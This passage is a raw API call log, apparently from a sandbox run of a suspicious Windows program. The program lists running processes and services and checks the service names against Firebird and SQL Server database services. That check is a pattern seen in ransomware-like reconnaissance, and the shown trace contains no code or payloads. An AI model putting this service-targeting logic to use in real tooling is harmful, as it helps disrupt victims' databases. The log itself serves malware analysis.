(lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0308.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0308.020] lstrlenW (lpString="SamSs") returned 5 [0308.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0308.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0308.020] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0308.020] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0308.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0308.020] lstrlenW (lpString="Schedule") returned 8 [0308.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0308.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0308.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0308.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0308.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0308.021] lstrlenW (lpString="SecurityHealthService") returned 21 [0308.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0308.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0308.021] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0308.021] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0308.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0308.021] lstrlenW (lpString="SENS") returned 4 [0308.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0308.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0308.021] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0308.021] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0308.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0308.021] lstrlenW (lpString="ShellHWDetection") returned 16 [0308.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0308.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0308.021] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0308.021] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0308.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0308.021] lstrlenW (lpString="Spooler") returned 7 [0308.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0308.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0308.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0308.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0308.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0308.022] lstrlenW (lpString="SSDPSRV") returned 7 [0308.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0308.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0308.022] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0308.022] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0308.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0308.022] lstrlenW (lpString="StateRepository") returned 15 [0308.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0308.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0308.022] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0308.022] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0308.022] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0308.022] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4b8 [0308.026] Process32FirstW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0308.026] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0308.027] lstrlenW (lpString="System") returned 6 [0308.027] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0308.028] lstrlenW (lpString="smss.exe") returned 8 [0308.028] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0308.029] lstrlenW (lpString="csrss.exe") returned 9 [0308.029] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0308.030] lstrlenW (lpString="wininit.exe") returned 11 [0308.030] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0308.030] lstrlenW (lpString="csrss.exe") returned 9 [0308.030] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0308.031] lstrlenW (lpString="winlogon.exe") returned 12 [0308.031] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0308.032] lstrlenW (lpString="services.exe") returned 12 [0308.032] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0308.033] lstrlenW (lpString="lsass.exe") returned 9 [0308.033] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0308.033] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0308.033] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0308.034] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0308.034] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.035] lstrlenW (lpString="svchost.exe") returned 11 [0308.035] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.036] lstrlenW (lpString="svchost.exe") returned 11 [0308.036] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0308.037] lstrlenW (lpString="dwm.exe") returned 7 [0308.037] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.037] lstrlenW (lpString="svchost.exe") returned 11 [0308.037] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.038] lstrlenW (lpString="svchost.exe") returned 11 [0308.038] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.039] lstrlenW (lpString="svchost.exe") returned 11 [0308.068] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.069] lstrlenW (lpString="svchost.exe") returned 11 [0308.069] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.070] lstrlenW (lpString="svchost.exe") returned 11 [0308.070] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.070] lstrlenW (lpString="svchost.exe") returned 11 [0308.071] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.073] lstrlenW (lpString="svchost.exe") returned 11 [0308.073] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.073] lstrlenW (lpString="svchost.exe") returned 11 [0308.073] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.074] lstrlenW (lpString="svchost.exe") returned 11 [0308.074] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.075] lstrlenW (lpString="svchost.exe") returned 11 [0308.075] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0308.076] lstrlenW (lpString="spoolsv.exe") returned 11 [0308.076] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0308.076] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0308.076] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0308.077] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0308.077] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0308.080] lstrlenW (lpString="Memory Compression") returned 18 [0308.080] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.081] lstrlenW (lpString="svchost.exe") returned 11 [0308.081] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0308.081] lstrlenW (lpString="audiodg.exe") returned 11 [0308.081] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0308.082] lstrlenW (lpString="sihost.exe") returned 10 [0308.082] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.083] lstrlenW (lpString="svchost.exe") returned 11 [0308.083] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0308.123] lstrlenW (lpString="taskhostw.exe") returned 13 [0308.123] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0308.124] lstrlenW (lpString="explorer.exe") returned 12 [0308.124] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0308.125] lstrlenW (lpString="SearchUI.exe") returned 12 [0308.125] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0308.126] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0308.126] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0308.127] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0308.127] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0308.127] lstrlenW (lpString="1csrss.exe") returned 10 [0308.127] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.128] lstrlenW (lpString="svchost.exe") returned 11 [0308.128] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0308.129] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0308.129] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.130] lstrlenW (lpString="svchost.exe") returned 11 [0308.130] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0308.131] lstrlenW (lpString="consent.exe") returned 11 [0308.131] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0308.132] lstrlenW (lpString="dllhost.exe") returned 11 [0308.132] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0308.133] CloseHandle (hObject=0x4b8) returned 1 [0308.133] Sleep (dwMilliseconds=0x1f4) [0308.650] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0308.650] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0308.650] GetLastError () returned 0xea [0308.650] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0308.651] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0308.651] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0308.651] lstrlenW (lpString="Appinfo") returned 7 [0308.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0308.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0308.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0308.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0308.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0308.652] lstrlenW (lpString="AppXSvc") returned 7 [0308.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0308.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0308.652] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0308.652] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0308.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0308.652] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0308.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0308.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0308.652] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0308.652] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0308.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0308.652] lstrlenW (lpString="Audiosrv") returned 8 [0308.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0308.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0308.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0308.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0308.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0308.652] lstrlenW (lpString="BFE") returned 3 [0308.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0308.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0308.652] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0308.652] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0308.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0308.653] lstrlenW (lpString="BITS") returned 4 [0308.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0308.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0308.653] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0308.653] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0308.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0308.653] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0308.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0308.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0308.653] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0308.653] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0308.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0308.653] lstrlenW (lpString="CDPSvc") returned 6 [0308.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0308.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0308.653] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0308.653] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0308.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0308.653] lstrlenW (lpString="ClickToRunSvc") returned 13 [0308.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0308.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0308.653] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0308.653] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0308.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0308.653] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0308.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0308.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0308.654] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0308.654] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0308.654] lstrcmpiW (lpString1="sqlserveradhelper", 